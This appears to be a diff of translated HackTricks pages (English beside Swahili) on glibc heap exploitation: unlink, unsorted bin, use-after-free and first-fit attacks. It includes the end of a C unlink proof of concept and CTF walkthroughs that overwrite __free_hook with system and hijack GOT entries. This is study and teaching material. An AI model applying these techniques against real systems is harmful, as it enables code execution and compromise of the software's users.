fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- Shambulio halifanyi kazi ikiwa tcaches zinatumika (baada ya 2.26)
### Goal
### Lengo
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
Shambulio hili linaruhusu **kubadilisha kiashiria cha kipande kuonyesha anwani 3 kabla yake**. Ikiwa eneo hili jipya (mazingira ya mahali ambapo kiashiria kilikuwa) lina vitu vya kuvutia, kama vile allocations nyingine zinazoweza kudhibitiwa / stack..., inawezekana kusoma/kufuta ili kusababisha madhara makubwa zaidi.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- Ikiwa kiashiria hiki kilikuwa kimewekwa kwenye stack, kwa sababu sasa kinaonyesha anwani 3 kabla yake na mtumiaji anaweza kukisoma na kukibadilisha, itakuwa inawezekana kuvuja taarifa nyeti kutoka kwenye stack au hata kubadilisha anwani ya kurudi (labda) bila kugusa canary
- Katika mifano ya CTF, kiashiria hiki kimewekwa kwenye array ya viashiria vya allocations nyingine, kwa hivyo, kufanya kiashiria hiki kiwe na anwani 3 kabla na kuwa na uwezo wa kusoma na kuandika, inawezekana kufanya viashiria vingine viashirie anwani nyingine.\
Kwa kuwa mtumiaji anaweza pia kusoma/kuandika allocations nyingine, anaweza kuvuja taarifa au kufuta anwani mpya katika maeneo yasiyo na mpangilio (kama katika GOT).
### Requirements
### Mahitaji
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- Udhibiti fulani katika kumbukumbu (mfano, stack) ili kuunda vipande kadhaa kwa kutoa thamani kwa baadhi ya sifa.
- Kuvaa stack ili kuweka viashiria vya kipande bandia.
### Attack
### Shambulio
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- Kuna vipande kadhaa (kipande1 na kipande2)
- Mshambuliaji anadhibiti maudhui ya kipande1 na vichwa vya kipande2.
- Katika kipande1 mshambuliaji anaunda muundo wa kipande bandia:
- Ili kupita ulinzi anahakikisha kuwa uwanja `size` ni sahihi ili kuepuka kosa: `corrupted size vs. prev_size while consolidating`
- na viwanja `fd` na `bk` vya kipande bandia vinaonyesha mahali ambapo kiashiria cha kipande1 kimehifadhiwa kwa ofset za -3 na -2 mtawalia hivyo `fake_chunk->fd->bk` na `fake_chunk->bk->fd` vinaonyesha nafasi katika kumbukumbu (stack) ambapo anwani halisi ya kipande1 inapatikana:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- Vichwa vya kipande2 vinabadilishwa kuonyesha kuwa kipande kilichopita hakitumiki na kwamba ukubwa ni ukubwa wa kipande bandia kilichomo.
- Wakati kipande cha pili kinapofutwa basi kipande hiki bandia kinachukuliwa:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Awali ilifanywa kwamba `fake_chunk->fd->bk` na `fake_chunk->bk->fd` vinaonyesha mahali pamoja (mahali katika stack ambapo `kipande1` kilihifadhiwa, kwa hivyo ilikuwa orodha halali ya kuunganishwa). Kwa kuwa **vyote vinaonyesha mahali pamoja** ni yule wa mwisho tu (`fake_chunk->bk->fd = fake_chunk->fd`) atachukua **athari**.
- Hii itakuwa **kufuta kiashiria cha kipande1 katika stack kwa anwani (au bytes) zilizohifadhiwa anwani 3 kabla katika stack**.
- Kwa hivyo, ikiwa mshambuliaji angeweza kudhibiti maudhui ya kipande1 tena, ataweza **kuandika ndani ya stack** akiwa na uwezo wa kufuta anwani ya kurudi akikwepa canary na kubadilisha thamani na viashiria vya mabadiliko ya ndani. Hata kubadilisha tena anwani ya kipande1 iliyohifadhiwa katika stack kwa eneo tofauti ambapo ikiwa mshambuliaji angeweza kudhibiti tena maudhui ya kipande1 ataweza kuandika popote.
- Kumbuka kwamba hii ilikuwa inawezekana kwa sababu **anwani zinaifadhiwa katika stack**. Hatari na unyakuzi inaweza kutegemea **mahali ambapo anwani za kipande bandia zinahifadhiwa**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## Marejeleo
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- Ingawa itakuwa ya ajabu kupata shambulio la unlink hata katika CTF hapa una baadhi ya maandiko ambapo shambulio hili lilitumika:
- Mfano wa CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- Katika mfano huu, badala ya stack kuna array ya anwani za malloc'ed. Shambulio la unlink linafanywa ili kuweza kuunda kipande hapa, kwa hivyo kuwa na uwezo wa kudhibiti viashiria vya array ya anwani za malloc'ed. Kisha, kuna kazi nyingine inayoruhusu kubadilisha maudhui ya vipande katika anwani hizi, ambayo inaruhusu kuelekeza anwani kwa GOT, kubadilisha anwani za kazi ili kupata leaks na RCE.
- Mfano mwingine wa CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Kama katika mfano wa awali, kuna array ya anwani za allocations. Inawezekana kufanya shambulio la unlink ili kufanya anwani ya allocation ya kwanza kuelekeze nafasi chache kabla ya kuanza kwa array na kufuta allocation hii katika nafasi mpya. Kwa hivyo, inawezekana kufuta viashiria vya allocations nyingine ili kuonyesha GOT ya atoi, kuichapisha ili kupata uvujaji wa libc, na kisha kufuta GOT ya atoi kwa anwani ya gadget moja.
- Mfano wa CTF na kazi za malloc na free za kawaida zinazotumia udhaifu unaofanana sana na shambulio la unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Kuna overflow inayoruhusu kudhibiti viashiria vya FD na BK vya malloc ya kawaida ambayo itakuwa (kawaida) imefutwa. Zaidi ya hayo, heap ina exec bit, kwa hivyo inawezekana kuvuja anwani ya heap na kuelekeza kazi kutoka kwa GOT kwa kipande cha heap chenye shellcode cha kutekeleza.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,70 +4,70 @@
## Basic Information
For more information about what is an unsorted bin check this page:
Kwa maelezo zaidi kuhusu nini kilicho unsorted bin angalia ukurasa huu:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Orodha zisizo na mpangilio zinaweza kuandika anwani kwa `unsorted_chunks (av)` katika anwani ya `bk` ya kipande. Hivyo, ikiwa mshambuliaji anaweza **kubadilisha anwani ya kiashiria cha `bk`** katika kipande ndani ya unsorted bin, anaweza **kuweza kuandika anwani hiyo katika anwani yoyote** ambayo inaweza kusaidia kuvuja anwani za Glibc au kupita baadhi ya ulinzi.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
Hivyo, kimsingi, shambulio hili linaruhusu **kweka nambari kubwa katika anwani yoyote**. Nambari hii kubwa ni anwani, ambayo inaweza kuwa anwani ya heap au anwani ya Glibc. Lengo la kawaida ni **`global_max_fast`** ili kuruhusu kuunda fast bin bins zenye ukubwa mkubwa (na kupita kutoka kwa shambulio la unsorted bin hadi shambulio la fast bin).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> Kuangalia mfano uliopewa katika [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) na kutumia 0x4000 na 0x5000 badala ya 0x400 na 0x500 kama ukubwa wa vipande (ili kuepuka Tcache) inawezekana kuona kwamba **sasa** kosa **`malloc(): unsorted double linked list corrupted`** linatokea.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> Hivyo, shambulio hili la unsorted bin sasa (pamoja na ukaguzi mwingine) pia linahitaji kuwa na uwezo wa kurekebisha orodha ya viungo viwili ili hii ipitishwe `victim->bk->fd == victim` au si `victim->fd == av (arena)`, ambayo inamaanisha kwamba anwani ambapo tunataka kuandika lazima iwe na anwani ya kipande bandia katika nafasi yake ya `fd` na kwamba kipande bandia `fd` kinaelekeza kwenye arena.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> Kumbuka kwamba shambulio hili linaharibu unsorted bin (hivyo ndogo na kubwa pia). Hivyo tunaweza tu **kutumia allocations kutoka kwa fast bin sasa** (programu ngumu zaidi inaweza kufanya allocations nyingine na kuanguka), na ili kuanzisha hili lazima **tuweze kuallocate ukubwa sawa au programu itanguka.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> Kumbuka kwamba kuandika **`global_max_fast`** kunaweza kusaidia katika kesi hii tukiamini kwamba fast bin itakuwa na uwezo wa kushughulikia allocations nyingine zote hadi exploit ikamilike.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
Msimbo kutoka [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) unaelezea vizuri sana, ingawa ikiwa unabadilisha mallocs ili kuallocate kumbukumbu kubwa vya kutosha ili usiishie katika Tcache unaweza kuona kwamba kosa lililotajwa hapo awali linaonekana likizuia mbinu hii: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
Hii kwa kweli ni dhana ya msingi sana. Vipande katika unsorted bin vitakuwa na viashiria. Kipande cha kwanza katika unsorted bin kwa kweli kitakuwa na **`fd`** na **`bk`** viungo **vinavyoelekeza sehemu ya arena kuu (Glibc)**.\
Hivyo, ikiwa unaweza **kweka kipande ndani ya unsorted bin na kukisoma** (tumia baada ya bure) au **kuallocate tena bila kuandika angalau 1 ya viashiria** ili kisha **kusoma** hiyo, unaweza kuwa na **Glibc info leak**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
Shambulio linalofanana [**lililotumika katika andiko hili**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), lilikuwa kutumia muundo wa vipande 4 (A, B, C na D - D ni tu kuzuia kuunganishwa na kipande cha juu) hivyo overflow ya byte ya null katika B ilitumika kufanya C kuonyesha kwamba B haikutumika. Pia, katika B data ya `prev_size` ilibadilishwa hivyo ukubwa badala ya kuwa ukubwa wa B ilikuwa A+B.\
Kisha C ilifutwa, na kuunganishwa na A+B (lakini B bado ilikuwa inatumika). Kipande kipya cha ukubwa A kiliallocatishwa na kisha anwani za libc zilivuja zikaandikwa ndani ya B kutoka ambapo zilivuja.
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- Lengo ni kuandika thamani ya kimataifa iliyo na thamani kubwa kuliko 4869 ili iwezekane kupata bendera na PIE haijawashwa.
- Inawezekana kuunda vipande vya ukubwa wowote na kuna overflow ya heap yenye ukubwa unaotakiwa.
- Shambulio linaanza kwa kuunda vipande 3: kipande0 ili kutumia overflow, kipande1 ili kujaa na kipande2 ili kipande cha juu kisijumuishwe na vipande vya awali.
- Kisha, kipande1 kinafutwa na kipande0 kinajaa ili kiashiria cha `bk` cha kipande1 kiwe: `bk = magic - 0x10`
- Kisha, kipande3 kinagawiwa kwa ukubwa sawa na kipande1, ambacho kitachochea shambulio la unsorted bin na kubadilisha thamani ya kiashiria cha kimataifa, na kufanya iwezekane kupata bendera.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Kazi ya kuunganishwa ina udhaifu kwa sababu ikiwa viashiria vyote viwili vilivyopitishwa ni sawa itafanya realloc juu yake na kisha ifute lakini ikirudisha kiashiria kwa eneo hilo lililofutwa ambalo linaweza kutumika.
- Hivyo, **vipande 2 vinaundwa**: **kipande0** ambacho kitajumuishwa na mwenyewe na kipande1 ili kuzuia kuunganishwa na kipande cha juu. Kisha, **kazi ya kuunganishwa inaitwa na kipande0** mara mbili ambayo itasababisha matumizi baada ya bure.
- Kisha, kazi ya **`view`** inaitwa na index 2 (ambayo ni index ya kipande kilichotumika baada ya bure), ambayo itasababisha **kuvuja anwani ya libc**.
- Kadri binary ina kinga za tu malloc ukubwa mkubwa kuliko **`global_max_fast`** hivyo hakuna fastbin inatumika, shambulio la unsorted bin litatumika kuandika kiashiria cha kimataifa `global_max_fast`.
- Kisha, inawezekana kuita kazi ya edit na index 2 (kiashiria cha matumizi baada ya bure) na kuandika kiashiria cha `bk` ili kiwe na `p64(global_max_fast-0x10)`. Kisha, kuunda kipande kipya kutatumia anwani ya bure iliyovunjika (0x20) itasababisha **shambulio la unsorted bin** kuandika `global_max_fast` ambayo ni thamani kubwa sana, ikiruhusu sasa kuunda vipande katika fast bins.
- Sasa shambulio la **fast bin** linafanywa:
- Kwanza kabisa inagundulika kwamba inawezekana kufanya kazi na fast **vipande vya ukubwa 200** katika eneo la **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Ikiwa tutafanikiwa kupata kipande cha haraka cha ukubwa 0x200 katika eneo hili, itakuwa inawezekana kuandika kiashiria cha kazi ambacho kitatekelezwa
- Kwa hili, kipande kipya cha ukubwa `0xfc` kinaundwa na kazi ya kuunganishwa inaitwa na kiashiria hicho mara mbili, kwa njia hii tunapata kiashiria kwa kipande kilichofutwa cha ukubwa `0xfc*2 = 0x1f8` katika fast bin.
- Kisha, kazi ya edit inaitwa katika kipande hiki kubadilisha anwani ya **`fd`** ya fast bin hii ili iwe na kiashiria cha awali cha **`__free_hook`**.
- Kisha, kipande chenye ukubwa `0x1f8` kinaundwa ili kupata kutoka kwa fast bin kipande kisichokuwa na matumizi cha awali ili kipande kingine cha ukubwa `0x1f8` kiundwe ili kupata kipande cha fast bin katika **`__free_hook`** ambacho kimeandikwa na anwani ya kazi ya **`system`**.
- Na hatimaye kipande kinachoshikilia mfuatano wa `/bin/sh\x00` kinafutwa kwa kuita kazi ya kufuta, ikichochea kazi ya **`__free_hook`** ambayo inaelekeza kwa system na `/bin/sh\x00` kama parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Mfano mwingine wa kutumia overflow ya 1B kuunganishwa kwa vipande katika unsorted bin na kupata Glibc infoleak na kisha kufanya shambulio la fast bin ili kuandika malloc hook na anwani ya gadget moja
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Tunaweza tu kuallocate vipande vya ukubwa mkubwa kuliko `0x100`.
- Andika `global_max_fast` kwa kutumia shambulio la Unsorted Bin (inafanya kazi 1/16 kwa sababu ya ASLR, kwa sababu tunahitaji kubadilisha bits 12, lakini lazima tubadilisha bits 16).
- Shambulio la Fast Bin kubadilisha array ya kimataifa ya vipande. Hii inatoa primitive ya kusoma/kandika isiyo na mipaka, ambayo inaruhusu kubadilisha GOT na kuweka kazi fulani kuelekeza kwa `system`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Use After Free
# Tumia Baada ya Kuachilia
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
Kama jina linavyopendekeza, udhaifu huu hutokea wakati programu **inapoifadhi nafasi** kwenye heap kwa kitu, **inaandika** taarifa fulani hapo, **inaachilia** kwa kuonekana kuwa haitahitajika tena na kisha **inafikia tena**.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
Tatizo hapa ni kwamba si haramu (hakutakuwa na makosa) wakati **kumbukumbu iliyooachiliwa inafikiwa**. Hivyo, ikiwa programu (au mshambuliaji) ilifanikiwa **kutoa kumbukumbu iliyooachiliwa na kuhifadhi data isiyo na mpangilio**, wakati kumbukumbu iliyooachiliwa inafikiwa kutoka kwa kiashiria cha awali, **data hiyo itakuwa imeandikwa upya** na kusababisha **udhaifu ambao utategemea unyeti wa data** ambayo ilihifadhiwa awali (ikiwa ilikuwa kiashiria cha kazi ambayo ilikuwa inapaswa kuitwa, mshambuliaji anaweza kujua jinsi ya kuikontrol).
### First Fit attack
### Shambulio la Kwanza la Fit
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
Shambulio la kwanza la fit linawalenga jinsi baadhi ya wawekaji kumbukumbu, kama katika glibc, wanavyosimamia kumbukumbu zilizooachiliwa. Unapooachilia block ya kumbukumbu, inaongezwa kwenye orodha, na maombi mapya ya kumbukumbu yanavuta kutoka kwenye orodha hiyo kutoka mwisho. Washambuliaji wanaweza kutumia tabia hii kudhibiti **ni block zipi za kumbukumbu zinazotumika tena, na hivyo kupata udhibiti juu yao**. Hii inaweza kusababisha matatizo ya "tumia-baada-ya-kuachilia", ambapo mshambuliaji anaweza **kubadilisha maudhui ya kumbukumbu inayotolewa tena**, na kuunda hatari ya usalama.\
Angalia maelezo zaidi katika:
{{#ref}}
first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
Wakati unachomoa kumbukumbu katika programu ukitumia glibc, "bins" tofauti zinatumika kusimamia vipande vya kumbukumbu. Hapa kuna maelezo rahisi ya hali mbili za kawaida: bins zisizo na mpangilio na fastbins.
### Unsorted Bins
### Bins Zisizo na Mpangilio
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinaongezwa mbele ( "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma ( "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa kuliko unavyohitaji, kinagawanywa, huku sehemu ya mbele ikirudishwa na sehemu iliyobaki ikibaki kwenye bin.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
